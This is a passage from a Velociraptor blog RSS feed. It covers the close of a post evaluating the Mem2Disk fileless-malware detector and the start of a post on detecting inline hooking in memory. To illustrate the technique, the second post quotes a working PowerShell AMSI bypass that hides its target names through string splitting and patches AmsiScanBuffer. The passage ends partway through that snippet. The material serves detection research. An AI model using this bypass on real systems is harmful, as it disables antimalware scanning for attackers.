xmlns=&#34;http://www.w3.org/1998/Math/MathML&#34;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;mi&gt;y&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;T&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;N&lt;/mi&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mi&gt;F&lt;/mi&gt;&lt;mi&gt;P&lt;/mi&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mn&gt;100&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mfrac&gt;&lt;mrow&gt;&lt;mn&gt;18&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;24&lt;/mn&gt;&lt;/mrow&gt;&lt;mrow&gt;&lt;mn&gt;18&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;24&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;10&lt;/mn&gt;&lt;mo&gt;+&lt;/mo&gt;&lt;mn&gt;0&lt;/mn&gt;&lt;/mrow&gt;&lt;/mfrac&gt;&lt;mo&gt;×&lt;/mo&gt;&lt;mn&gt;100&lt;/mn&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mn&gt;80.8&lt;/mn&gt;&lt;mi mathvariant=&#34;normal&#34;&gt;%&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&#34;application/x-tex&#34;&gt;Accuracy = \frac{TN + TP}{TN + TP + FN + FP} \times 100 = \frac{18 + 24}{18 + 24 + 10 + 0} \times 100 = 80.8%&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;&lt;span class=&#34;katex-html&#34; aria-hidden=&#34;true&#34;&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8778em;vertical-align:-0.1944em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;A&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;cc&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;u&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.02778em;&#34;&gt;r&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;mord mathnormal&#34; style=&#34;margin-right:0.03588em;&#34;&gt;cy&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.2757em;vertical-align:-0.4033em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8723em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.10903em;&#34;&gt;TN&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.13889em;&#34;&gt;TP&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.10903em;&#34;&gt;FN&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.13889em;&#34;&gt;FP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.394em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.10903em;&#34;&gt;TN&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mathnormal mtight&#34; style=&#34;margin-right:0.13889em;&#34;&gt;TP&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.4033em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:1.2484em;vertical-align:-0.4033em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;&lt;span class=&#34;mopen nulldelimiter&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mfrac&#34;&gt;&lt;span class=&#34;vlist-t vlist-t2&#34;&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.8451em;&#34;&gt;&lt;span style=&#34;top:-2.655em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.23em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;frac-line&#34; style=&#34;border-bottom-width:0.04em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;top:-3.394em;&#34;&gt;&lt;span class=&#34;pstrut&#34; style=&#34;height:3em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;sizing reset-size6 size3 mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;&lt;span class=&#34;mord mtight&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;mbin mtight&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;mord mtight&#34;&gt;24&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-s&#34;&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;vlist-r&#34;&gt;&lt;span class=&#34;vlist&#34; style=&#34;height:0.4033em;&#34;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mclose nulldelimiter&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mbin&#34;&gt;×&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2222em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.6444em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mrel&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mspace&#34; style=&#34;margin-right:0.2778em;&#34;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;base&#34;&gt;&lt;span class=&#34;strut&#34; style=&#34;height:0.8056em;vertical-align:-0.0556em;&#34;&gt;&lt;/span&gt;&lt;span class=&#34;mord&#34;&gt;80.8%&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;Lastly, detections usually ran within 1-5 minutes, sometimes in under&#xA;a minute depending on the system hardware. It scales to the maximum&#xA;number of systems Velociraptor can handle in parallel (i.e. &amp;gt;10.000&#xA;machines).&lt;/p&gt;&#xA;&lt;h1 id=&#34;6-discussion&#34;&gt;6. Discussion&lt;/h1&gt;&#xA;&lt;h2 id=&#34;61-evaluation&#34;&gt;6.1. Evaluation&lt;/h2&gt;&#xA;&lt;p&gt;We tested &lt;code&gt;Mem2Disk&lt;/code&gt; against available malware, own malware created&#xA;using three well-known C2 frameworks, and benign software.&lt;/p&gt;&#xA;&lt;p&gt;The results are quite promising and we were able to detect&#xA;state-of-the-art open source C2 frameworks. When filtering out ASLR,&#xA;&lt;code&gt;Mem2Disk&lt;/code&gt; did not detect many false positives in our tests.&lt;/p&gt;&#xA;&lt;p&gt;Our approach shows that it is possible to scale RAM analysis up to&#xA;multiple systems without prior knowledge which systems might be&#xA;affected.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Mem2Disk&lt;/code&gt; only detects RAM injections that are visible within the&#xA;.text segment of a process or its libraries. Adding a new memory page&#xA;or manipulating memory locations outside of the .text segment are not&#xA;detected.&lt;/p&gt;&#xA;&lt;p&gt;Thus, Portable Executable (PE) injections&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/002/&#34; target=&#34;_blank&#34; &gt;T1055.002&lt;/a&gt;), threat&#xA;execution hijacking&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/003/&#34; target=&#34;_blank&#34; &gt;T1055.003&lt;/a&gt;), threat&#xA;local storage&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/005/&#34; target=&#34;_blank&#34; &gt;T1055.005&lt;/a&gt;), ptrace&#xA;system calls&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/008/&#34; target=&#34;_blank&#34; &gt;T1055.008&lt;/a&gt;), process&#xA;hollowing&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/012/&#34; target=&#34;_blank&#34; &gt;T1055.012&lt;/a&gt;), process&#xA;doppelgänging&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/013/&#34; target=&#34;_blank&#34; &gt;T1055.013&lt;/a&gt;), and&#xA;ListPlanting&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/015/&#34; target=&#34;_blank&#34; &gt;T1055.015&lt;/a&gt;) could be&#xA;detected.&lt;/p&gt;&#xA;&lt;p&gt;While Asynchronous Procedure Call (APC) injection&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/004/&#34; target=&#34;_blank&#34; &gt;T1055.004&lt;/a&gt;), proc&#xA;memory injections&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/009/&#34; target=&#34;_blank&#34; &gt;T1055.009&lt;/a&gt;), extra&#xA;windows memory injection&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/011/&#34; target=&#34;_blank&#34; &gt;T1055.011&lt;/a&gt;), and&#xA;Virtual Dynamic Shared Object (VDSO) hijacking&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/014/&#34; target=&#34;_blank&#34; &gt;T1055.014&lt;/a&gt;) are&#xA;currently not detected.&lt;/p&gt;&#xA;&lt;p&gt;DLL injection&#xA;(&lt;a href=&#34;https://attack.mitre.org/techniques/T1055/001/&#34; target=&#34;_blank&#34; &gt;T1055.001&lt;/a&gt;) might be&#xA;detected if program code or DLL code is changed (e.g. DLL hollowing)&#xA;but is not detected if a DLL is loaded additionally (e.g. via Import&#xA;Address Table (IAT)). IAT could be detected though, if the new code is&#xA;added in memory to an existing library.&lt;/p&gt;&#xA;&lt;p&gt;If malware removes itself from RAM temporarily or hooks the functions&#xA;used by Velociraptor, it could still hide itself from &lt;code&gt;Mem2Disk&lt;/code&gt;. We&#xA;also observed that some of the false negatives ran pretty quickly, so&#xA;we suspect that they were already finished when Velociraptor ran.&lt;/p&gt;&#xA;&lt;p&gt;Lastly, there are legitimate tools - likely security tools - using&#xA;similar functionalities, which would create false positives. We have&#xA;not encountered them, since we do not have licenses for most of these&#xA;tools, but analysts should be aware that security tools can trigger&#xA;&lt;code&gt;Mem2Disk&lt;/code&gt; detections.&lt;/p&gt;&#xA;&lt;h2 id=&#34;62-comparison-to-other-tools&#34;&gt;6.2. Comparison to Other Tools&lt;/h2&gt;&#xA;&lt;p&gt;Volatility as the state-of-the-art memory forensics tool has a&#xA;different focus to our implementation. Volatility aims to enable a&#xA;forensic expert to deeply analyze one RAM dump. It does not scale to&#xA;multiple RAMs and it relies mostly on the knowledge of the&#xA;analyst. The most comparable plugin &lt;code&gt;malfind&lt;/code&gt; searches for executable&#xA;(and writable) memory pages like &lt;code&gt;Mem2Disk&lt;/code&gt; however then analyzes&#xA;those pages more thoroughly than &lt;code&gt;Mem2Disk&lt;/code&gt;. So, Volatility is more&#xA;capable than &lt;code&gt;Mem2Disk&lt;/code&gt; but does not scale well.&lt;/p&gt;&#xA;&lt;p&gt;MemProcFS per se is more of a RAM access tool than a RAM analysis&#xA;tool. It enables the analyst to access the RAM through a browser but&#xA;ultimately relies on the analyst to find malware with the exception of&#xA;the &lt;code&gt;findevil&lt;/code&gt; plugin. It is work in progress and currently only&#xA;detects user-mode malware. It is comparable to Volatility, provides&#xA;more options than &lt;code&gt;Mem2Disk&lt;/code&gt; but cannot be executed on multiple&#xA;machines easily.&lt;/p&gt;&#xA;&lt;p&gt;Hollows Hunter and PE-sieve are the most comparable tools to&#xA;&lt;code&gt;Mem2Disk&lt;/code&gt;. They employ a variety of techniques to detect malware on&#xA;one system and are more capable and in-depth than &lt;code&gt;Mem2Disk&lt;/code&gt;. Hollows&#xA;Hunter can also be executed via Velociraptor with the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/hollowshunter/&#34;&gt;Windows.Memory.HollowsHunter&lt;/a&gt;&#xA;plugin and scales to multiple machines.&lt;/p&gt;&#xA;&lt;p&gt;In contrast to &lt;code&gt;Windows.Memory.HollowsHunter&lt;/code&gt;, &lt;code&gt;Mem2Disk&lt;/code&gt; is a&#xA;Velociraptor-native plugin fully written in VQL and benefits from the&#xA;parallelization of Velociraptor. No additional binary has to be&#xA;uploaded to the client machines (unlike&#xA;&lt;code&gt;Windows.Memory.HollowsHunter&lt;/code&gt;), which also means Velociraptor can&#xA;regulate the CPU load of &lt;code&gt;Mem2Disk&lt;/code&gt;. As already mentioned, detections&#xA;usually ran within 1-5 minutes, mostly in under a minute depending on&#xA;the system hardware. Therefore, the performance overhead of &lt;code&gt;Mem2Disk&lt;/code&gt;&#xA;seems acceptable in a normal company network. Anti-virus scans in&#xA;comparison would take considerable more time and are generally&#xA;accepted.&lt;/p&gt;&#xA;&lt;p&gt;In summary, &lt;code&gt;Mem2Disk&lt;/code&gt; is useful for breadth search. For example when&#xA;not knowing if or where fileless malware hides within a full network&#xA;of more than a few machines. When analyzing known-compromised machines&#xA;or only a few suspicious machines, the other mentioned tools give more&#xA;details than &lt;code&gt;Mem2Disk&lt;/code&gt; and should be preferred.&lt;/p&gt;&#xA;&lt;h1 id=&#34;7-conclusion&#34;&gt;7. Conclusion&lt;/h1&gt;&#xA;&lt;p&gt;All in all, the blue team just stepped up. We are able to detect injected&#xA;implants of common C2 frameworks live in RAM and scalable to thousands of&#xA;machines in nearly real-time.&lt;/p&gt;&#xA;&lt;p&gt;We also recommend memory forensics experts to think about scalability&#xA;of their tools. Velociraptor enables memory forensics on multiple&#xA;machines without dumping the RAM.&lt;/p&gt;&#xA;&lt;p&gt;Happy detecting!&lt;/p&gt;&#xA;&lt;h1 id=&#34;8-acknowledgement&#34;&gt;8. Acknowledgement&lt;/h1&gt;&#xA;&lt;p&gt;We would like to express our gratitude to Prof. Nicolas Wolovick for&#xA;supporting this publication with advice and guidance and to Mike Cohen&#xA;for improving our VQL code, giving feedback on the blog post as well&#xA;as helping us understand the connection between &lt;code&gt;RVA&lt;/code&gt;, &lt;code&gt;BaseOfData&lt;/code&gt;&#xA;and &lt;code&gt;ASLR&lt;/code&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Memory Analysis with Velociraptor - Part 1</title>
      <link>https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1/</link>
      <pubDate>Fri, 14 Nov 2025 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1/</guid>
      <description>&lt;p&gt;This post was spurred by the recent release of the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/windows.memory.mem2disk/&#34;&gt;Windows.Memory.Mem2Disk&lt;/a&gt; artifact,&#xA;written by Lautaro Lecumberry and Dr. Michael Denzel. The artifact was&#xA;a culmination of their excellent thesis, &lt;a href=&#34;https://github.com/lautarolecumberry/DetectingFilelessMalware&#34; target=&#34;_blank&#34; &gt;Detecting Fileless Malware&#xA;using Endpoint Detection and Response&#xA;Tools&lt;/a&gt;. You&#xA;should check it out!&lt;/p&gt;&#xA;&lt;p&gt;Memory analysis is a powerful technique used in DFIR to detect malware&#xA;and persistence mechanisms which are sometimes not detectable using&#xA;more conventional disk based methods.&lt;/p&gt;&#xA;&lt;p&gt;Over the years, frameworks like&#xA;&lt;a href=&#34;https://github.com/volatilityfoundation/volatility3&#34; target=&#34;_blank&#34; &gt;Volatility&lt;/a&gt; or&#xA;&lt;a href=&#34;https://github.com/ufrisk/MemProcFS&#34; target=&#34;_blank&#34; &gt;MemprocFS&lt;/a&gt; have become the&#xA;standard go-to tools when analysts think of memory analysis.  Those&#xA;frameworks usually operate on a static image of physical memory.&lt;/p&gt;&#xA;&lt;p&gt;However, this has a number of shortcoming when performing active&#xA;response in modern environments:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;In order to obtain the physical memory image (for example, using a&#xA;tool like &lt;a href=&#34;https://github.com/Velocidex/WinPmem&#34; target=&#34;_blank&#34; &gt;WinPmem&lt;/a&gt;) one&#xA;usually needs to load a kernel driver. On hardened endpoints this&#xA;is not always possible, presenting challenges in actually obtaining&#xA;memory images.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The size of physical memory is very large in modern systems. Most&#xA;consumer laptops now regularly ship with 16Gb of physical RAM and&#xA;most server class machines have memory sizes in the range of 128Gb&#xA;to 1Tb of Physical RAM.&lt;/p&gt;&#xA;&lt;p&gt;A larger RAM size presents challenges for analysis. First, the size&#xA;of the image makes it difficult to store and transport across the&#xA;network. Additionally, the image quality is usually poor due to a&#xA;larger amount of memory smear exasperated during the longer&#xA;acquisition time - making subsequent memory analysis unreliable.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Physical memory images are actually not a very good format for&#xA;acquiring the state of the endpoint. This is because operating&#xA;systems use virtual memory and on demand paging. For example, while&#xA;in theory one can dump binaries from running memory using&#xA;e.g. Volatility&amp;rsquo;s &lt;code&gt;procdump&lt;/code&gt; plugin, in reality the dumped binaries&#xA;are missing many executable pages, which are not memory&#xA;resident. Instead the operating system will page those binary&#xA;instructions from disk at runtime, if they are needed.&lt;/p&gt;&#xA;&lt;p&gt;Therefore capturing physical memory, even if done perfectly and&#xA;without smear, will miss many parts of those things we actually&#xA;need to extract in our analysis - such as binaries, or user data&#xA;(which may be in the page file), etc.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;Velociraptor&amp;rsquo;s memory analysis capabilities do not rely on physical memory.&lt;/strong&gt;&#xA;Although Velociraptor does have the ability to capture a physical memory image&#xA;(e.g. using the&#xA;&lt;a href=&#34;https://www.velociraptor-docs.org/artifact_references/pages/windows.memory.acquisition/&#34;&gt;Windows.Memory.Acquisition&lt;/a&gt;&#xA;artifact), we don&amp;rsquo;t recommend this approach. Much of Velociraptor&amp;rsquo;s memory&#xA;capabilities are implemented using plugins which directly query the operating&#xA;system for information about the system (including process memory).&lt;/p&gt;&#xA;&lt;p&gt;Many of Velociraptor&amp;rsquo;s memory analysis plugins have equivalent or&#xA;similar plugins in Volatility. Using these plugins allows Velociraptor&#xA;to perform similar analysis to many of Volatility&amp;rsquo;s native physical&#xA;memory analysis modules.&lt;/p&gt;&#xA;&lt;p&gt;However, Velociraptor&amp;rsquo;s approach is faster and more scalable since it&#xA;does not need to acquire an image first, and can get perfect&#xA;information as needed. For example, when dumping a binary from memory,&#xA;we automatically cause the OS to page in non-resident pages (simply by&#xA;virtue of reading the page through the API), so the end binary dump is&#xA;perfect and far better than we could get from a physical memory image.&lt;/p&gt;&#xA;&lt;p&gt;This blog post is the first in a series of posts describing&#xA;Velociraptor&amp;rsquo;s approach to memory analysis. In each post I will&#xA;compare and contrast Velociraptor&amp;rsquo;s approach to other memory analysis&#xA;frameworks. In particular I will dive into the VQL queries that are&#xA;used to develop such artifacts in order to share my development&#xA;process and point out some of the lesser known capabilities.&lt;/p&gt;&#xA;&lt;p&gt;My goal is to convince you to think of Velociraptor&amp;rsquo;s memory analysis&#xA;capability as the &lt;strong&gt;first&lt;/strong&gt; port of call when developing new memory-based&#xA;detections! It is far more practical than writing a single use python&#xA;script, and it can be deployed quickly and at scale.&lt;/p&gt;&#xA;&lt;p&gt;In this post I will discuss how to detect inline hooking. There are&#xA;many open source tools which implement this kind of detection (for&#xA;example &lt;a href=&#34;https://github.com/hasherezade/hollows_hunter&#34; target=&#34;_blank&#34; &gt;Hollows&#xA;Hunter&lt;/a&gt; which you can&#xA;use with Velociraptor via the &lt;a href=&#34;https://www.velociraptor-docs.org/exchange/artifacts/pages/hollowshunter/&#34;&gt;Windows.Memory.HollowsHunter&lt;/a&gt; artifact). In this&#xA;post I will describe how this can be implemented purely in VQL.&lt;/p&gt;&#xA;&lt;h1 id=&#34;inline-hooking-of-binaries&#34;&gt;Inline hooking of binaries&lt;/h1&gt;&#xA;&lt;p&gt;Inline hooking is a popular technique for subverting a binary by&#xA;patching the function header as it is loaded into memory. For example,&#xA;patching ETW tracing functionality can disable user space ETW reporting,&#xA;such as PowerShell script block logging.&lt;/p&gt;&#xA;&lt;p&gt;It is also possible to patch functions in &lt;a href=&#34;https://attack.mitre.org/techniques/T1056/004/&#34; target=&#34;_blank&#34; &gt;other&#xA;processes&lt;/a&gt;, thereby&#xA;subverting them by diverting execution to attacker-controlled code&#xA;injections.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2025/2025-11-15-memory-analysis-pt1//blog/2025/2025-11-15-memory-analysis-pt1/patching_memory_.svg&#34; alt=&#34;Patching a function preamble&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;774.8870281243326&#34;&#xA;         width=&#34;1331.1480712890623&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;patching_memory.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Patching a function preamble&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The process is illustrated above. When a DLL is loaded into memory,&#xA;the OS maps its text section (i.e. the actual code of the functions it&#xA;exports) into the process&amp;rsquo;s virtual memory. Normally calling these&#xA;functions causes execution to jump into the function body. However,&#xA;the attacker may want to prevent calling some functions. Therefore,&#xA;they can simply overwrite the front of the function with a return&#xA;instruction causing the function to be bypassed.&lt;/p&gt;&#xA;&lt;p&gt;To illustrate this technique, let&amp;rsquo;s examine the following short&#xA;powershell snippet:&#xA;&lt;a href=&#34;https://github.com/okankurtuluss/AMSIBypassPatch/blob/090b54a518fecf1ccf8f54f8691805ef0f9a30f1/AMSIBypassPatch.ps1&#34; target=&#34;_blank&#34; &gt;AMSIBypassPatch.ps1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function Disable-Protection {&#xA;    $k = @&amp;quot;&#xA;using System;&#xA;using System.Runtime.InteropServices;&#xA;public class P {&#xA;    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&#xA;    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&#xA;    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&#xA;    public static extern IntPtr GetModuleHandle(string lpModuleName);&#xA;    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&#xA;    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&#xA;    public static bool Patch() {&#xA;        IntPtr h = GetModuleHandle(&amp;quot;a&amp;quot; + &amp;quot;m&amp;quot; + &amp;quot;s&amp;quot; + &amp;quot;i&amp;quot; + &amp;quot;.dll&amp;quot;);&#xA;        if (h == IntPtr.Zero) return false;&#xA;        IntPtr a = GetProcAddress(h, &amp;quot;A&amp;quot; + &amp;quot;m&amp;quot; + &amp;quot;s&amp;quot; + &amp;quot;i&amp;quot; + &amp;quot;S&amp;quot; + &amp;quot;c&amp;quot; + &amp;quot;a&amp;quot; + &amp;quot;n&amp;quot; + &amp;quot;B&amp;quot; + &amp;quot;u&amp;quot; + &amp;quot;f&amp;quot; + &amp;quot;f&amp;quot; + &amp;quot;e&amp;quot; + &amp;quot;r&amp;quot;);&#xA;        if (a == IntPtr.Zero) return false;&#xA;        UInt32 oldProtect;&#xA;        if (!VirtualProtect(a, (UIntPtr)5, 0x40, out oldProtect)) return false;&#xA;        byte[] patch = { 0x31, 0xC0, 0xC3 };&#xA;        Marshal.Copy(patch, 0, a, patch.Length);&#xA;        return VirtualProtect(a, (UIntPtr)5, oldProtect, out oldProtect);&#xA;    }&#xA;}&#xA;&amp;quot;@&#xA;    Add-Type -TypeDefinition $k&#xA;    $result = [P]::Patch()&#xA;    if ($result) {&#xA;        Write-Output &amp;quot;Protection Disabled&amp;quot;&#xA;    } else {&#xA;        Write-Output &amp;quot;Failed to Disable Protection&amp;quot;&#xA;    